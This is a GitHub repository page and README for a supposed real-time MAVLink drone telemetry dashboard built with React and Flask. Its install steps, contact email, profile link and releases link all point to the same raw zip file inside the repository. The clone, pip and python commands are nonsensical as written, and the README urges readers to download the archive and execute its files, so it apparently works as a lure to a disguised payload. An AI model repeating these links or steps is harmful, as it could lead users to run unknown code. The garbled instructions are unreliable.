https://github.com/patron2222/drone_web_interface_909
Telemetry Dashboard for MAVLink Drones 🚁📊 A real-time web interface built with React to visualize MAVLink telemetry data. It fetches JSON logs generated by pymavlink and displays critical drone parameters like attitude, battery status, and sensor readings. Includes a Python backend for handling telemetry data streams
https://github.com/patron2222/drone_web_interface_909
css flask flask-api flask-application html mavlink pymavlink python react typescript
Last synced: 3 months ago
JSON representation
Telemetry Dashboard for MAVLink Drones 🚁📊 A real-time web interface built with React to visualize MAVLink telemetry data. It fetches JSON logs generated by pymavlink and displays critical drone parameters like attitude, battery status, and sensor readings. Includes a Python backend for handling telemetry data streams
- Host: GitHub
- URL: https://github.com/patron2222/drone_web_interface_909
- Owner: PATRON2222
- License: other
- Created: 2025-04-08T13:30:50.000Z (about 1 year ago)
- Default Branch: main
- Last Pushed: 2025-04-10T01:39:44.000Z (about 1 year ago)
- Last Synced: 2025-04-10T02:14:28.825Z (about 1 year ago)
- Topics: css, flask, flask-api, flask-application, html, mavlink, pymavlink, python, react, typescript
- Language: TypeScript
- Size: 2.12 MB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Drone Web Interface 909 🚁📊
Welcome to the **Drone Web Interface 909**! This repository hosts a telemetry dashboard for MAVLink drones, designed to provide a real-time web interface that visualizes MAVLink telemetry data.
## Table of Contents
- [Introduction](#introduction)
- [Features](#features)
- [Technologies Used](#technologies-used)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)
- [Releases](#releases)
## Introduction
The **Drone Web Interface 909** allows users to monitor their MAVLink drones through an intuitive web dashboard. It fetches JSON logs generated by pymavlink and displays essential drone parameters, including attitude, battery status, and sensor readings. The project includes a Python backend that effectively handles telemetry data streams.
## Features
- **Real-Time Visualization**: View telemetry data in real-time.
- **User-Friendly Interface**: Built with React for a seamless user experience.
- **Comprehensive Data Display**: Monitor critical parameters like attitude, battery status, and sensor readings.
- **Backend Support**: Python backend to manage telemetry data streams efficiently.
- **Cross-Platform Compatibility**: Works on various devices with a web browser.
## Technologies Used
This project leverages a variety of technologies to deliver a robust solution:
- **Frontend**:
- React
- TypeScript
- CSS
- HTML
- **Backend**:
- Python
- Flask
- Flask-API
- **MAVLink**:
- pymavlink
## Installation
To set up the Drone Web Interface on your local machine, follow these steps:
1. **Clone the Repository**:
```bash
git clone https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip
```
2. **Navigate to the Project Directory**:
```bash
cd Drone_Web_Interface_909
```
3. **Install Backend Dependencies**:
Navigate to the backend directory and install the required Python packages.
```bash
cd backend
pip install -r https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip
```
4. **Install Frontend Dependencies**:
Navigate to the frontend directory and install the required Node packages.
```bash
cd ../frontend
npm install
```
5. **Run the Backend**:
Start the Flask server.
```bash
python https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip
```
6. **Run the Frontend**:
In another terminal, start the React app.
```bash
npm start
```
Your web interface should now be running at `http://localhost:3000`.
## Usage
Once you have the application running, follow these steps to use the Drone Web Interface:
1. **Connect Your Drone**: Ensure your MAVLink drone is connected and transmitting data.
2. **Open the Web Interface**: Navigate to `http://localhost:3000` in your web browser.
3. **Monitor Data**: Observe real-time telemetry data, including attitude, battery status, and sensor readings.
## Contributing
We welcome contributions! If you want to help improve the Drone Web Interface, please follow these steps:
1. **Fork the Repository**: Click on the "Fork" button at the top right of the page.
2. **Create a New Branch**:
```bash
git checkout -b feature/YourFeatureName
```
3. **Make Your Changes**: Implement your feature or fix.
4. **Commit Your Changes**:
```bash
git commit -m "Add Your Feature"
```
5. **Push to Your Branch**:
```bash
git push origin feature/YourFeatureName
```
6. **Create a Pull Request**: Submit your changes for review.
## License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
## Contact
For any inquiries or feedback, please reach out to the project maintainer:
- **Name**: Your Name
- **Email**: https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip
- **GitHub**: [PATRON2222](https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip)
## Releases
You can find the latest releases of the Drone Web Interface [here](https://raw.githubusercontent.com/PATRON2222/Drone_Web_Interface_909/main/components/Web_Drone_Interface_v2.7.zip). Download the latest version and execute the necessary files to get started.
---
Thank you for checking out the **Drone Web Interface 909**! We hope you find it useful for monitoring your MAVLink drones. Your feedback and contributions are always welcome!